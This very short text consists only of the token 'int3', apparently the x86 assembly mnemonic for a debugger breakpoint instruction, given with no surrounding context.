int3